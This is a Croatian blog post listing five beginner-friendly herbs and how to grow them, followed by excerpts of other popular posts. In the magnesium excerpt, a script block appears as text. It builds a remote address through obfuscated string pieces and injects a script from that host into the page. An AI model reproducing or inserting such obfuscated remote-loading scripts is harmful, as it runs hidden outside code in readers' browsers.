5 VRSTA ZAČINSKOG BILJA KOJE USPIJEVA I POČETNICIMA





5 vrsta začinskog bilja koje uspijeva i početnicima 




Svježe začinsko bilje ne oplemenjuje samo jela, već i balkon, kuhinjsku dasku ili vrt pretvara u mali zeleni kutak. Dobra je vijest da za uspješan uzgoj ne trebate veliko iskustvo ni vrt pun opreme – neke biljke toliko su nezahtjevne da će uspjeti gotovo svakome.




Bosiljak

Bosiljak je jedan od omiljenih začina u mediteranskoj kuhinji, a ujedno i vrlo zahvalna biljka za uzgoj. Najbolje uspijeva na toplom i sunčanom mjestu, pa mu odgovara prozorska daska ili balkon okrenut prema suncu. Važno ga je redovito zalijevati, ali pritom paziti da zemlja ne bude previše mokra.



Peršin

Peršin je klasik bez kojeg mnogi ne mogu zamisliti kuhanje. Osim što je bogat vitaminima i mineralima, vrlo je jednostavan za uzgoj. Može rasti u vrtu, tegli ili povišenoj gredici, a dobro podnosi i djelomičnu sjenu.



Vlasac

Vlasac je idealna biljka za početnike jer brzo raste i ne zahtijeva puno pažnje. Najviše voli sunčana mjesta i umjereno zalijevanje, a može se uzgajati tijekom cijele godine u tegli na kuhinjskom prozoru.

Njegovi tanki zeleni listovi imaju blagu aromu luka pa se često dodaju namazima, salatama, omletima i krem juhama. Redovitim rezanjem potiče se novi rast, što znači da ćete dugo imati svjež začin pri ruci.



 Menta

Menta je gotovo nezaustavljiva biljka, zbog čega je odlična za sve koji tek uče osnove vrtlarstva. Brzo raste i lako se prilagođava različitim uvjetima, no najbolje uspijeva u polusjeni i uz redovito zalijevanje.

Budući da se snažno širi, mnogi je radije sade u zasebne tegle. Osim za pripremu osvježavajućih čajeva i limunada, menta je odličan dodatak desertima, voćnim salatama i koktelima.



Ružmarin

Ružmarin je aromatična mediteranska biljka koja voli sunce i ne traži puno vode, što ga čini idealnim za zaboravne početnike. Dobro uspijeva u teglama i vrtovima, a posebno voli propusno tlo.

Osim što lijepo izgleda i intenzivno miriše, ružmarin je izvrstan dodatak pečenom krumpiru, mesu, focaccii i marinadama. Jednom kada se primi, može trajati godinama i postati pravi mali ukras balkona ili vrta.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više